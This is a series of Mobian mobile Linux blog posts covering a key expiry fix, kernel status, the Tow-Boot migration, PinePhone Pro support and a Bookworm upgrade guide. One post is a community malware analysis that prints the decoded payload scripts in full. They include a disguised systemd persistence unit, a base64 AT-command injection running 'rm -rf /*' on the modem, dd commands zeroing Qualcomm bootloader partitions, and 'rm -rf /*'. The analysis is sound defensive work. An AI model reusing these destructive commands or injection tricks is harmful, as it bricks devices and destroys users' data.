Like certificates before certbot, you never think about PGP key expiry until it bites. Mobian has just celebrated it’s two year repository key anniversary the fun way: by scrambling to update the key and get it out to devices. Fear not, the key has not been compromised. The same old key with an updated expiry can be found on the Mobian repository and your system can be updated with it by running apt-key --keyring=/etc/apt/trusted.gpg.d/mobian.gpg mobian.gpg after downloading the file. We will have a new package called mobian-archive-keyring which will be pulled in automatically by mobian-base in order to update the gpg key automatically the next time.

The new key:

> $ sha256sum mobian.gpg*
4ab90ff82a88f11f681e5e857503833eb2108c9a77edaa9f64b7648c1b91c60a  mobian.gpg
e1004f14f260ba2835e80a6a4c3d4bc48a3db264bed93fe32438a2a50394516b  mobian.gpg.key

> $ gpg --show-key < mobian.gpg
pub   rsa4096 2020-06-16 [SC] [expires: 2024-06-15]
      D569936C7E32F193CBAAEC48393F924A855FB27D
uid                      Mobian Project <admin@mobian-project.org>
sub   rsa4096 2020-06-16 [S] [expires: 2024-06-15]

The old key:

$ sha256sum mobian_old.gpg*
659f04acdd8226032a086ec054926ddf8c8207f64e092365955c8740471fd309  mobian_old.gpg
e52c1b41c5e52d1932ec9bd009d20abdb0b5cab01a89ddc51237adde28dcdc3f  mobian_old.gpg.key

> $ gpg --show-key < mobian_old.gpg
pub   rsa4096 2020-06-16 [SC] [expired: 2022-06-16]
      D569936C7E32F193CBAAEC48393F924A855FB27D
uid                      Mobian Project <admin@mobian-project.org>
sub   rsa4096 2020-06-16 [S] [expired: 2022-06-16]

Kernel status

Mobile	Version
linux-5.15-librem5	5.15.37+librem5-7
linux-5.15-sunxi64	5.15.50+sunxi64-2
linux-5.17-arm64-mobian	5.17.5+mobian-2
linux-5.17-librem5	5.17.5+librem5-2
linux-5.17-rockchip	5.17.15+rockchip-1
linux-5.17-sdm845	5.17.5+sdm845-5
linux-5.17-sunxi64	5.17.1+sunxi64-1

Major kudos to @undef for tirelessly porting patches and resolving issues.

Dropping packages

Quite a few custom packages are about to be updated in Debian, which will allow us to drop them from the Mobian repository in the near future.

Calamares has already been dropped.
Osk-sdl will transition to testing early next month.

Upgrades

2022-06-01 calamares 3.2.59-1 into Debian unstable
2022-06-01 phosh 0.20.0~beta1-1 into Debian experimental, bringing a swipable keyboard (no longer acidentally tapping the bottom bar!) kudos to purism (and on June 27, we got 0.20.0-beta2 in experimental)

A full list on mobile-related uploads to Debian can be found in the corresponding mailing list archive.

This month in Mobian: May 2022

Tue, 31 May 2022 23:59:59 +0000

This is the first in a (hopefully) series of short blog posts summarizing what has happened in Mobianland. Given that Mobian integrates much of the ecosystem not developed by us, this report could reiterate many of the things being said somewhere else.

Monthly dev meeting

Despite being located all over the world (really!), we manage to meet in person once a month. Well, ok, “meet in person” means we conduct a jitsi video call. It is fun seeing all these sleepy faces where half of the people would like to go to bed already, while others wished they could have remained in bed longer.

The TL;DR:

we will attempt to move over more repositories from gitlab to salsa.debian.org (given gitlabs changes to the CI allowance we get, and in an attempt to align ourselves closer to Debian).
In a similar move, the developer’s wiki (NOT the user wiki) moves over to the Debian wiki.
pondering if systemd-repart and systemd-growfs can maybe replace “growroot”
We really should be opening a user-contrib section or something where contributed ports and kernels can live, e.g. for the Nexus 5. Planning stage.

OnePlus 6 / Pocophone F1

Audio was broken due to a missing config option on 5.17 kernels, and was fixed by a subsequent update. Thanks to everyone who reported this issue and provided the information allowing us to fix it.

Universal Images

We have a universal mobian image that boots on the original Pinephone and the Pinephone Pro, however, there are still some bugs to iron out and kernel configs to be adapted. But overall, this looks promising.

However, this will require some tool that can adapt configuration settings at runtime, based on the device it is currently running on.

Tow-boot

We were one of the earliest distributions to move over to tow-boot, and that worked out nearly well. However, there is a little catch: There is no tow-boot for the PineTab yet. So all images post-March 27, will not be able to install a U-boot if you have non installed yet. Help to port tow-boot to the PineTab is very welcome, it should not be too hard, but somebody needs to do it.

PinePhone Keyboard

Mobian is now using the new PinePhone Keyboard kernel driver. As a result, users may notice the top-row symbol keys stop working. The permanent fix for this can be found on the mobian wiki.

Chatty and libjabber.so

You may have noticed some breakage with chatty. This was caused by chatty having a runpath set to be able to find things like libjabber.so. These plugins used to live in /usr/lib/purple-2 and when a recent update changed to multiarch directory (f.e. /usr/lib/x86-64-linux-gnu/purple-2) it caused issues with chatty. We hope this was not too much of an inconvenience!

Debian Reunion Hamburg 2022

The end of the month saw the Debian Reunion Hamburg 2022 with an almost critically high density of linux first devices :) This time we didn’t have a talk specifically about Mobian/Debian on mobile devices, but you might still find something interesting to watch online. It was very fun meeting fellow Debianites in person and we look forward to Debconf 2022.

Upgrades

2022-04-25 squeekboard 1.17.1-1 MIGRATED (I know strictly speaking, this is April. Hair-splitters!)
2022-05-04 linux-image-5.15-sunxi64_5.15.38
2022-05-15 Gnome Control Center 42.1

Moving to Tow-Boot: Towards Device-Independant Images

Wed, 30 Mar 2022 00:00:00 +0000

Mobian (and most of the Arm Linux ecosystem) have been dealing with device-specific boot sequences since our inception. However, recent changes have made it possible to standardise these. This blog post will discuss how these changes affect Mobian and the long term goal of creating a universal image for Mobian devices.

Every problem has a solution

Each ARM-based SoC implements its own boot sequence, looking for a bootloader at different locations on different storage devices. For example, the OG PinePhone’s Allwinner A64 looks for it at an 8KiB offset, first on the SD card, then on the eMMC. The PinePhone Pro’s RK3399 expects it to be either on a SPI flash device, or at offset 32KiB on the eMMC or the SD card. Until now, we dealt with those differences by generating per-device images, each one embedding a copy of the bootloader (u-boot in our case) at the exact offset expected by the SoC.

However, this isn’t very practical, as it prevents us from generating device-independent images, and it can have annoying side effects: in some cases, the bootloader can remain untouched on an SD card even after reformatting.

Fortunately, there is way to work around this problem: by letting users install the bootloader themselves, either on the SPI flash (for devices including one) or the eMMC’s boot partitions (which are left untouched when flashing new images to the device), we can stop embedding our own copy of the bootloader.

Following the trend across the Mobile Linux community, we therefore settled for Tow-Boot as the recommended bootloader and will now require PinePhone (OG and Pro versions) users to install it before flashing a Mobian image to their devices.

Existing Installs

The most important part of this change is that it will not break existing installs. Distribution-installed u-boot is however deprecated and will not receive updates. If you do nothing but update, you will see the u-boot-sunxi (PinePhone) or u-boot-rockchip (PinePhone Pro) package removed. Removing it will not stop your device from booting as the boot image will remain: only the bootloader copy located on the rootfs will be deleted.

However, this package will no-longer be updated on devices supported by Tow-Boot, although you may still receive updates from Debian’s version of the package, which won’t affect the existing boot sector (neither breaking it nor updating it). In order to install new images or receive boot firmware updates, you should install the latest version of Tow-Boot.

New Installs

New installs of supported devices (PinePhone and PinePhone Pro at this time) will not come with u-boot installed. Rather, Mobian will assume that the device already contains all firmware required to boot. If this is not the case, no need to worry, simply go to the Tow-Boot website and follow the instructions for your device.

Universal Images

A small part of the benefit of this change is that Mobian no-longer deals with installing and upgrading u-boot on devices. This can be tricky and potentially result in non-booting systems.

The biggest benefit however, is the opportunity to provide a single, universal image for mainline Linux devices. We are not there yet, but the eventual goal is to provide a single, “as close to mainline as possible” kernel and rootfs that will work on multiple devices.

Frequently Asked Questions

Q: So what exactly is this Tow-Boot? A: Tow-Boot is a user-friendly, opinionated distribution of U-Boot, where there is as few differences in features possible between boards, and a “familiar” user interface for an early boot process tool. The goal of Tow-Boot is to make booting boring. Tow-Boot replaces all of the functionality of Mobian’s current u-boot package.

Q: Can I safely remove u-boot-*? A: Removing these packages is safe, even if you have not yet installed Tow-Boot, with one exception: u-boot-menu is still mandatory (and a hard dependency) on devices using Tow-Boot.

Q: Will Mobian be packaging Tow-Boot? A: No. This move means we do not have to manage the boot firmware and packaging it would take us right back there. Mobian will eventually support updating Tow-Boot via fwupd when this is supported upstream. In the mean time, the Tow-Boot installer is recommended.

Q: How do I know if I have Tow-Boot installed? A: If your device immediately boots to a red LED and a short vibration, followed by another vibration and the LED turning yellow, you probably have Tow-Boot. However, installing Tow-Boot is a manual process. You would probably remember having installed it.

Q: Should I keep u-boot-* around as a fallback? A: This shouldn’t be required and Mobian will not be updating u-boot on these devices going forward. In the off-chance a Tow-Boot update goes wrong, we recommend fixing it using the Tow-Boot installer.

Q: I’ve installed Tow-Boot on my original PinePhone but it’s not working as described. A: The original PinePhone will always boot any u-boot on the SD card first. If you have an older Mobian image or another OS image on the SD card this may happen. Removing the SD card or wiping u-boot off it should cause Tow-Boot to work.

Q: How does Mobian boot using Tow-Boot? A: Mobian installs a u-boot configuration file at /boot/extlinux/extlinux.conf containing the required boot settings. Tow-Boot can parse this and correctly boot the device directly. Other options included UEFI booting, but using the existing extlinux setup was the least disruptive option

Conclusion

Some major changes to Mobian’s boot sequence are being released to align with the direction of the community. Those changes make room for further improvements in Mobian with the added benefit of unifying both the boot process across different devices, and the way mobile Linux systems can be installed. We also hope hardware vendors will, over time, follow this path and ship their devices with Tow-Boot (or a similar bootloader) preinstalled in a location separate from the main storage.

Both new and existing users should install Tow-Boot or a similar system to provide updates to their boot firmware. This will be required on new installs using images generated after 2022-04-02.

Script kiddy strikes back

Fri, 11 Feb 2022 00:00:00 +0000

As you may be aware, a malicious person tried to spread malware through many Matrix rooms used by mobile Linux users and developers, partly taking advantage of a known vulnerability in the stock modem firmware. Here’s a quick analysis of how this malware was supposed to operate.

Disclaimer: while being enthusiastic nerds, none of the Mobian developers is a security expert. We hope this post will provide interesting information to the community but it shouldn’t be considered an exhaustive security report.

Please also note this was by no means a Mobian-only effort: in this post, we’re reporting the findings of the mobile Linux community as a whole, not claiming we did it all by ourselves.

A bit of context

The malware was uploaded to Matrix chat rooms in the form of an installable binary package:

.apk for postmarketOS
.deb for Mobian
.pkg.tar.zst for Arch/Manjaro

Multiple variants were posted such as coathanger or pp-tweaks but, a few cosmetic differences aside, they all work in the same way and embed the same malicious payload. In the rest of this post, we’ll take a closer look at the .deb package (obviously) of the pp-tweaks variant.

This file is an actual package suitable for installation using dpkg or apt. Its package metadata look valid and contain the following description:

Description: Tweaks for PinePhone and PinePhone Pro as well as various other
devices such as the Oneplus 6 and the Poco F1

Although it’s obvious that the package has been handcrafted rather than generated using the usual Debian packaging tools (no checksums included in the package metadata, for example), and except for the contents of the Maintainer field (layla289, maybe an Eric Clapton fan?), the package doesn’t look harmful at this point.

The following files are installed from this package:

/usr/bin/pp-tweaks-gtk
/usr/lib/pp-tweaks-postinstall

It also contains the following post-install script, automatically run by dpkg once the package files have been installed to the system:

#!/bin/sh

/usr/lib/pp-tweaks-postinstall

exit 0

While it’s not unusual for a Debian package to contain such a script, having it run only a newly installed executable is rather strange, especially if said executable is sitting in /usr/lib! The malware is therefore meant to operate that way:

user invokes sudo dpkg -i pp-tweaks.deb, granting dpkg root permissions (this is required, otherwise it won’t be able to copy files to the target directories)
dpkg extracts the files and runs the post-install script, which also has root privileges
pp-tweaks-postinstall is executed, obviously still with root privileges

The actual malware is therefore pp-tweaks-postinstall, pp-tweaks-gtk being probably just a distraction. However, the latter could give us useful information while being presumably safer to run, in case it can run at all.

Initial static analysis

Unix systems provide a number of useful commands by default, in particular:

file gives us information about the type of a given file
strings extracts all human-readable character strings from a binary file

In the case of pp-tweaks-*, file outputs the following:

pp-tweaks-gtk: ELF 64-bit LSB executable, ARM aarch64, version 1 (GNU/Linux),
statically linked, no section header

The files are statically linked so they don’t depend on libraries of the host system. This allows this binary to be executed on any ARM64 Linux device, no matter which distribution it runs.

Running strings reveals the following, among other things:

$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.96 Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $

We now know that those files are auto-extractible executables compressed using UPX. We can easily extract those by installing the appropriate software and can discover the resulting executables are also ARM64 ELF files, statically linked and stripped (all debug information removed, make them lighter but also more difficult to reverse-engineer).

strings doesn’t find anything of interest this time, but other variants contain the following noteworthy strings:

in coathanger-gtk:

purism still haven't refunded or shipped my librem 5.
diana, if you're reading this (which could be possible) i have to say that i love you!

in coathanger-postinstall:

i just want to say i love you diana!
purism why do you steal our money and run away with it?? refund our money or at least ship a development phone instead of nothing!!

Like us, you’re probably dying to know this Diana, but sadly we doubt that this will ever happen.

Some of our developers put out the big guns and decided to reverse-engineer the binaries¹ using ghidra, which unfortunately didn’t bring any conclusive result, except for a growing perplexity when being faced with some of the algorithms appearing in those files.

Livin’ on the edge

In order to analyze more thoroughly the behaviour of those binaries, some of us took the calculated risk of running them in a controlled environment. The PinePhone can easily provide such an environment when you have a spare device, as many developers do:

wipe clean the internal eMMC
switch off all radios and peripheral hardware (4G modem, WiFi/Bluetooth, cameras) killswitches so all sensitive parts are physically disabled and login via UART/serial console is enabled, resulting in an effectively air-gapped device and suitable testing environment
flash an SD card with a new OS image and transfer the binary files onto it before booting the SD

Running pp-tweaks-gtk brings the following result:

mobian@mobian:~$ ./pp-tweaks-gtk
./pp-tweaks-gtk: 6: ldconfig: not found
./pp-tweaks-gtk: error while loading shared libraries: libgtk-x11-2.0.so: cannot open shared
object file: No such file or directory

Oddly enough, the static binary seems to try loading a shared library (which is exactly what static binaries never normally do). Faced with this weird behavior, we wanted to trace system calls, in case something interesting would pop up. At first sight, nothing noteworthy appears from executing strace ./pp-tweaks-gtk

However, the last few lines reveal interesting things:

write(1, "./pp-tweaks-gtk: error while loa"..., 132) = 132
exit_group(0)                           = ?
+++ exited with 0 +++

write() is called on file descriptor 1, which is the convention for stdout (standard output), whereas error message are usually directed to fd 2 (stderr, or standard error). Likewise, the program exits with code 0, which is the convention for “this program completed its task succesfully and didn’t encounter any major issue”.

This calls for a closer look, and we end up spotting the following suspicious line:

execve("/bin/sh", ["./pp-tweaks-gtk", "-c", "                                "...,
  "./pp-tweaks-gtk"], 0x7ffc53a1d8 /* 28 vars */) = 0

In particular, " "... refers to a string beginning with many whitespaces, truncated (by strace) for being too long. Re-running strace with the -s 10240 option (don’t truncate strings under 10K characters) gives us the following (removed most of the initial whitespaces and added newlines for clarity):

execve("/bin/sh", ["./pp-tweaks-gtk", "-c", "   ...(many many whitespaces)...
  #!/bin/sh\n\nmsgcode1=\"i just want to say that i love my gf\"\nmsgco
  de2=\"purism why you still have not shipped the librem 5??? stop maki
  ng money and ship your fucking phones!!!!\"\n\nif ldconfig -p | grep
  -q libgtk-x11-2.0.so\nthen\n\techo \"$0: error while loading shared l
  ibraries: libgtk-x11-2.0.so: cannot open shared object file: Error 24
  \"\nelse\n\techo \"$0: error while loading shared libraries: libgtk-x
  11-2.0.so: cannot open shared object file: No such file or directory\
  "\nfi\n", "./pp-tweaks-gtk"], 0x7fd44fc6a8 /* 28 vars */) = 0

This strace “signature” is a characteristic of executables created by shc, a utility designed for embedding shell scripts into executable binary files. shc encrypts the script using the RC4 algorithm before embedding it into C code, effectively turning the clear-text script into (seemingly) meaningless binary data. This explains why we weren’t able to extract it using strings.

So in the end, pp-tweaks-gtk simply executes a shell script embedded (and obfuscated) inside the binary itself! Here’s the script in question:

#!/bin/sh

msgcode1="i just want to say that i love my gf"
msgcode2="purism why you still have not shipped the librem 5??? stop making money and ship your fucking phones!!!!"

if ldconfig -p | grep -q libgtk-x11-2.0.so
then
	echo "$0: error while loading shared libraries: libgtk-x11-2.0.so: cannot open shared object file: Error 24"
else
	echo "$0: error while loading shared libraries: libgtk-x11-2.0.so: cannot open shared object file: No such file or directory"
fi

Oh, hello again, angry Romeo!

So what this script does is pretty simple: it prints what appears to be an error message (while it’s only what the program is meant to do) in order to fool the victim. Thankfully, while being a good example of poorly engineered software, this little script can’t do any harm, even if it were run as root. The other executable, however, is way more evil…

Main course

By doing the same on pp-tweaks-postinstall (but with -s 10000000 as the script is waaay bigger here), we can extract the following script:

#!/bin/sh
echo "Enabling tweaks daemon"

mkdir -p /usr/lib/gtk-3.0

echo "<376k base64-encoded data>" | base64 -d > /usr/lib/gtk-3.0/gtk-helper
chmod +x /usr/lib/gtk-3.0/gtk-helper

# systemd
if [ -f /usr/lib/systemd/systemd ]; then
	mkdir -p /usr/lib/systemd/system
	cat > /usr/lib/systemd/system/polkilt.service <<EOF
[Unit]
Description=Authorization Manager
Documentation=man:polkit(8)

[Service]
Type=simple
ExecStart=/usr/lib/gtk-3.0/gtk-helper

[Install]
WantedBy=multi-user.target
EOF
	systemctl enable polkilt.service > /dev/null 2>&1
fi

if [ -f /etc/inittab ]; then
	echo "tty9::respawn:/usr/lib/gtk-3.0/gtk-helper" >> /etc/inittab
fi

This script creates an executable called /usr/lib/gtk-3.0/gtk-helper and makes sure this executable is run on startup after each reboot. Another variant uses the --now option to systemctl enable, so the binary is started immediately (otherwise it won’t start until the user reboots).

This executable is, once again, a UPX-compressed file we can strace in order to retrieve the final script:

#!/bin/sh

msgcode1="i just want to say that i love my gf"
msgcode2="purism why you still have not shipped the librem 5??? stop making money and ship your fucking phones!!!!"

while [ "$(date +)" -lt "$(date --date="2022-02-07T03:00:00" +)" ]; do
	sleep 60
done

if [ "$(date +)" -gt "$(date --date="2022-02-07T03:00:00" +)" ]; then

	if [ -e /dev/ttyUSB2 ]; then
	 { eval "$(echo "ZWNobyAtZSBBVCtRRlVNT0NGRz1cImRtYWNjXCIsXCJcYHNoIC1jIFwncm0gLXJmIC9cKlwnXGBcIlxcclxcbiA+IC9kZXYvdHR5VVNCMg==" | base64 -d)"; } &
	fi

	# remove qualcomm s/xbl
	for i in /dev/disk/by-partlabel/xbl*
	do
		[ -e "$i" ] || break
		dd if=/dev/zero of=/dev/disk/by-partlabel/"$i" || true
	done

	for i in /dev/disk/by-partlabel/sbl*
	do
		[ -e "$i" ] || break
		dd if=/dev/zero of=/dev/disk/by-partlabel/"$i" || true
	done

	# shellcheck disable=SC2115
	rm -rf /*
fi

The first part is a wait loop: for some reason, the author wants its malware to wait until 3am on Feb 7th before doing anything harmful.

Past this date, it checks if there’s a /dev/ttyUSB2 device (one of the ports exposed by the PinePhone’s modem, which can be used to send AT commands to the modem), in which case another piece of obfuscated (base64-encoded) code is executed. This data decodes into the following command:

echo -e AT+QFUMOCFG=\"dmacc\",\"\`sh -c \'rm -rf /\*\'\`\"\\r\\n > /dev/ttyUSB2

This command basically executes the following on the modem, wiping out all data:

sh -c 'rm -rf /*'

The goal here is obviously to brick the modem to the point where it needs to be manually put into EDL mode (by shorting 2 test points on the PinePhone’s main board) in order to be reflashed.

The next lines are even more vicious to some users: they clear any partition which name starts with xbl or sbl. Those partitions can be present on Qualcomm-based devices such as the OnePlus 6 or Pocophone F1. On those devices, the bootloader(s) are closed-source, signed binaries installed on dedicated partitions. Depending on the exact SoC used, those partitions can have various names, for example here are the relevant ones from the OnePlus 6:

xbl_a and xbl_b: Qualcomm’s UEFI bootloader, sets up secure boot and loads the next element in the boot chain
abl_a and abl_b: Android bootloader (UEFI application executed by XBL), loads and boots the kernel

Deleting those partitions would therefore make the phone unable to boot at all, likely ending up permanently bricking the device.

Notes:

devices using a different Qualcomm SoC will likely have different booloaders, just keep in mind those components are required for the device to boot at all
the OnePlus 6 uses an A/B partition scheme, devices not implementing this feature will present the same partitions, minus the _a and _b suffixes
sbl partitions are not present on the OnePlus 6 but can exist on devices with a different Qualcomm SoC

Finally, the script (tries to) delete the whole system currently running on the phone.

Why it doesn’t work

This malware has obviously not been really tested and exhibits a major flaw: the multiple levels of encapsulation (a shell script converted to an executable binary using shc, then encoded into base64 and included into another script, again converted to an executable binary) lead to a very large payload in pp-tweaks-postinstall. When executed, it exits with the following error:

mobian@mobian:~$ ./pp-tweaks-postinstall
./pp-tweaks-postinstall: Argument list too long: /bin/sh

This means the malware (/usr/lib/gtk-3.0/gtk-helper) cannot be extracted nor installed, and so shouldn’t cause any trouble.

Warning: this stunt has been performed by trained and experienced developers, don’t try this at home!

Conclusion

This malware is nothing more than an angry script-kiddy trying to clumsily exploit a known security vulnerability. The techniques used are rather basic and the lack of proper testing basically voids the whole effort.

This attempt fuels the often-heard advice that one shouldn’t blindly accept gifts from strangers, which proves even more true when dealing with software. Protecting oneself from such “attacks” is, in the end, as simple as following those rules:

never run a program from an unknown source, unless a trustworthy entity had a chance to analyze its source code and check it would indeed perform the function it’s advertised for without causing any harm to the user or its system
by extension, never install a package from an unknown and/or untrusted source
do not execute any software as root unless you’re absolutely convinced it can be trusted

This episode also emphasizes the lack of diligence from Quectel in fixing a known vulnerability. Thankfully, the community (personified in this case by @biktorgj) has developed an alternative firmware for the modem used by both the PinePhone and PinePhone Pro, in which this vulnerability has been patched out.

One question remains, though: who the hell is this Diana?

https://xkcd.com/356/ ↩︎

Game Changers

Fri, 04 Feb 2022 00:00:00 +0000

While mildly working on and playing with the PinePhone Pro, I recently got amazed at how pleasant to use this device was, and how little work it took us to get to this point!

Clever choices

Don’t get me wrong, the fact that the PinePhone Pro is already quite usable (to the point where the bravest could probably daily-drive it – I actually did for a whole week!) is the result of countless hours of engineering, most of those having happened before the Developer Edition even shipped, in good part thanks to the combined efforts of @megi and @MartijnBraam.

It’s also the result of very clever choices made by Pine64:

design the device around the RockChip RK3399, a very well-known and supported SoC in mainline Linux and u-boot
use the modem we already know (and, at times, hate) from the OG PinePhone
choose peripheral chips identical to those used on the OG PinePhone (flashlight, accelerometer…) or already well supported upstream (audio codec)

This definitely eased the initial bringup process and allowed us to enable several useful features very quickly. However, the most amazing part of this whole process is the maturity of the whole software ecosystem when compared to what we experienced in the days of the BraveHeart Edition PinePhone!

If you build it, they will come

Two years ago, when first starting working on the OG PinePhone, the available software targeting mobile phones was a bit rough around the edges, to say the least:

Phosh was barely past the proof-of-concept stage
Plasma Mobile wasn’t very usable, although things improved quickly
mobile-friendly apps were few, and often needed a number of downstream patches to be usable on phones

With the exception of UBPorts/Lomiri, the FLOSS ecosystem clearly wasn’t ready for the PinePhone! However, give enough developers an itch to collectively scratch, and they’ll each do their part.

And that’s precisely what made the PinePhone instrumental in improving the mobile Linux ecosystem: by providing a low-cost (yet usable) device able to run a “real” (as opposed to Android, for example) Linux system, it ended up in the hands of many FLOSS developers, each with their own wishes and requirements. This obviously resulted in more available brains to work on those matters, and accelerated the development of software targeting mobile phones.

Not every PinePhone owner was a developer though, and non-dev users also did help improving the ecosystem: first by bugging us enough so we would address (and usually fix) their problems, but also by simply increasing the demand for mobile-friendly and/or adaptive applications. This prompted more developers of pre-existing apps to ensure their software would be usable on our tiny, touchscreen-based devices.

With great power, comes great software

While access to hardware and applications availability are both important for Linux to successfully conquer mobile devices, building a full mobile environment is a huge task, not easily achieved by relying only on volunteers' efforts.

Enters Purism: unlike Pine64, they actually have a number of highly skilled software developers and designers on their payroll. That alone made a huge difference for the whole ecosystem: instead of focusing solely on their own Librem 5, Purism employees did (and continue to) spend their working hours developing Phosh and its siblings in the open, giving mobile users a usable, fast-evolving, community-friendly graphical environment they could use on any decent smartphone running mainline Linux.

Likewise, mobile devices need applications, and Purism led the way on that front too: by working on libhandy, then libadwaita and pushing for their adoption by the wider GNOME community, they paved the way for a brighter future for both mobile and desktop Linux users.

In the end, the software ecosystem initially developed for the Librem 5 has been widely adopted by the mobile Linux community and made its way into most of the distributions targeting such devices. The way all those building blocks evolved over the past two years, thanks to the combined efforts of volunteers and paid developers, now allows us to provide an enjoyable user experience with minimal efforts, even on a new device such as the PinePhone Pro!

Complement, not compete

As the Librem 5 and PinePhone (including the Pro version) are the only Linux-first smartphones currently available for new purchases, people tend to compare those directly, more often than not criticizing Purism for the (admittedly high) price of their smartphone. Those comparisons generally miss the point by ignoring the different cost structure for each device, and specifically the cost of software engineering Purism is funding (trust me, engineering time is not cheap).

But more importantly, those are not random smartphones, designed with planned obsolescence in mind and eager to capture every single bit of data your digital life can generate. Both the Librem 5 and the PinePhone are privacy-respecting, empowering smartphones, and complement each other very well:

PinePhone users provide a large enough user base so bugs can be tracked down and fixed over time
PinePhone developers contribute fixes and features to the Phosh software stack
Librem 5 users indirectly fund the software development effort
Librem 5 developers provide the whole community with quality software and lead the GNOME transition to mobile-friendly applications

Whatever device you may choose and/or prefer, both should be acknowledged for what they are: game changers which helped shape the mobile Linux community each in their own way, and will likely keep doing so for many years to come.

The PinePhone Pro is here (and it runs Mobian!)

Tue, 28 Dec 2021 00:00:00 +0000

Pine64 recently announced the PinePhone Pro, a significantly upgraded version of their PinePhone. As developers started receiving their devices earlier this month, significant progress have been made already to get existing mobile distributions, including Mobian, to run on this new Linux phone. Keep reading for the latest status updates on the PinePhone Pro support.

Initial hardware enablement

The PinePhone Pro was designed in such a way that it is an easy device to work with: it is based on a Rockchip RK3399 SoC, for which mainline kernel support is really good, and switched to a Broadcom/Cypress WiFi/Bluetooth chipset, supported by the mailine bcrmfmac kernel driver. Moreover, the modem is the same model as the one used in the OG PinePhone: despite its numerous drawbacks, it is a well-known unit and we can already provide workarounds for its most significant issues.

@megi and @MartijnBraam, which both had access to early prototypes of this device, did an awesome job at bringing up the device and providing patches for u-boot and the Linux kernel. This allowed distribution developers to boot the PinePhone Pro with very little effort and start improving on an already solid basis.

As a matter of fact, only a few hours were necessary to craft a Mobian image able to boot into Phosh on the PinePhone Pro! Making the notification LEDs, flash light and orientation sensors to work as nicely as they do on the OG PinePhone was only a matter of few more hours (if not minutes) of additional hacking.

Getting 4G/LTE connectivity

As mentioned above, the PinePhone Pro uses the same exact modem as the OG PinePhone. As a consequence, only a limited amount of software changes were necessary to get it to work on Mobian. Using the latest versions of both ModemManager and eg25-manager, the modem is automatically powered on and able to connect to 4G networks, with both SMS/MMS and mobile data being fully functional.

Giving and receiving phone calls

Phone calls are another problem, as those require routing audio properly. A significant difference with the OG PinePhone is that the modem audio isn’t routed through the SoC’s digital audio interface, but instead the modem is connected to a dedicated audio codec. This codec transforms the digital audio signal coming to/from the modem into/from analog audio connected to the main audio codec analog in/out ports.

This helps with some of the OG PinePhone issues (audio quality), but also requires careful attention to the overall audio configuration. Fortunately, the RK3399 audio interface, as well as the ALC5640 codec, are both very well supported by mainline kernels. megi had already added the necessary device-tree bits, so all we had to do was adapt eg25-manager so it configured the modem to use its dedicated audio codec, and write ALSA UCM profiles for proper audio routing during phone calls.

The latter was the hardest part, although by taking inspiration from the existing UCM profiles for other devices using the ALC5640 codec, and a few evenings going through the codec’s datasheet and a lot of trial & error, we were able to implement audio routing for both “normal” use and phone calls, including support for the internal earpiece, speaker and microphone as well as headphones and headset microphone.

Reviving cross-distro collaboration

While there always was some level of collaboration between projects for the OG PinePhone, such effort had somewhat stalled once we had solved the most urgent issues, leading to downstream kernel patches piling up with only very few of those being successfully upstreamed.

As an unintended, yet extremely positive, side-effect of the PinePhone Pro release, developers of most (if not all) mobile Linux distributions have gathered with the goal of not reproducing such a situation with the PinePhone Pro. We at Mobian are extremely excited of being part of this effort and look forward to collaborating more closely on solving hardware support issues and working together on kernel/bootloader development and upstreaming, and we’re sure developers from other projects are as well!

A new era for Linux phones

The PinePhone Pro is a powerful and nicely designed addition to the existing line of Linux-first phones. Once its hardware support improves, and with the ever maturing software ecosystem, it will very likely prove to be a very enjoyable device to use as a daily driver, making for a much smoother experience than the OG PinePhone.

We’re not there yet though, as several major issues still make it a developers-only device for now:

power management is really basic at the moment, and resuming from deep sleep still causes issues with the modem not being brought back properly, or the audio sample rate not being configured as it should (resulting in sped up, high-pitched audio)
the on-device installer mostly works when installing from an SD card to the same SD card, but encrypted installs won’t boot due to an initramfs issue
the charger and battery drivers present a number of problems as well
Bluetooth headsets can’t be used during phone calls
display output through USB-C doesn’t work yet
camera support is basically non-existent at this point

We’re quite confident most, if not all of those issues will be solved eventually, and a lot of us will end up being able to daily drive the PinePhone Pro before 2022 ends, so stay tuned as we will undoubtedly make great progress in the months to come! :)

In the meantime, for those of you lucky enough to already own a PinePhone Pro, make sure to check out Mobian weekly images for this device.

Squashing a Book Full of Worms

Fri, 24 Dec 2021 00:00:00 +0000

Now that the dust has settled on Debian’s new testing repository we are focusing our efforts on Bookworm. This long overdue blog post is a summary of what to expect in the coming updates to Mobian.

New Software

As we outlined in To Bullseye and Beyond, Bookworm is where Mobian and Debian will be focusing their efforts for new software. To date, this has resulted in the introduction of GTK4 and, most importantly for PinePhone users, Megapixels 1.3 which brings a fully hardware-accelerated camera viewfinder.

Additionally, Debian moved to GNOME 41 over the past few months, which provides newly adaptive versions of core software such as GNOME Software and GNOME Control Center. The latter reduces significantly the number of overflowing panels and starts significantly faster.

All of these goodies either come directly from upstream Debian or rely on newer packages not available in Bullseye. The Mobian team will not be backporting these, so we recommend upgrading to Bookworm to get access to them.

How do I get access to these new packages

The good news is, if you have already switched to Bookworm, these updates are just an apt upgrade away.

If you’ve been waiting for the dust to settle on the Bullseye release, now would be a good time to move forward. While the turnover of new packages in Debian Testing is always high, the major post-Bullseye transitions (such as GNOME and libc) have completed, mostly smoothly.

If you would like to upgrade, simply replace bullseye with bookworm in both /etc/apt/sources.list and /etc/apt/sources.list.d/mobian.list. Then, the usual apt update and apt dist-upgrade combo will pull in all the latest packages and upgrade your device to Bookworm. We highly recommend you backup your home directory prior to performing the upgrade.

In case you originally flashed your device with an image older than April 26th, 2021, you will have to edit /etc/apt/sources.list.d/extrepo_mobian.sources instead of /etc/apt/sources.list.d/mobian.list, replacing Suites: mobian with Suites: bookworm.

Finally, do not blindly proceed with the upgrade, but pay attention to the lists of upgraded/removed packages: in case you notice anything suspicious (such as mobian-* packages being removed, for example), please abort the upgrade process and try to find out what is going wrong. As a last resort measure, keep in mind you can always flash a clean, fresh image if things end up going horribly wrong.

Fresh Installs

Since August 15th, our nightly (and now weekly) image builds are all based on Bookworm, so if you installed from an image generated after this date, then you’re all set and don’t need to do anything. Images for your device can be downloaded from the usual mobian images page.

While it is not necessary to reinstall Mobian to access Bookworm, if you are going to do so, we recommend using one of those weekly image builds.

A note on Repository Names

There has been some confusion about the naming of Mobian and Debian repositories and their targets. To dispel this, we have compiled the following:

Mobian Repositories:

bookworm: This is the current main repository, targeting Debian bookworm. Similarly to its Debian counterpart, it should be considered the “testing” distribution.
